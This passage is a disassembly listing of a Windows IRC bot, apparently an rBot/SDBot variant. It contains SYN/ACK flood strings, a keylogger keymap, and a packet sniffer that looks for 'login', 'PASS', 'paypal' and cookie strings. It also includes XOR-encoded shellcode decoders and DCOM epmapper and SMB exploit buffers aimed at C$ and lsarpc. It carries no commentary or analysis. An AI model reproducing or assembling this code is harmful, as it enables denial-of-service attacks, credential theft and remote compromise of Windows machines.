aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset word_505446	; DATA XREF: ___:00426C70o
off_4274DC	dd offset byte_435249	; DATA XREF: ___:00426C6Co
off_4274E0	dd offset loc_544F3E+4	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset unk_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80	dd offset word_580046	; DATA XREF: sub_402B84+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset dword_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------

loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA

loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------

loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A

loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_427EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040370Do
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403739o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_427FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00403760o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4280B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_403249+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42811C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_428188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
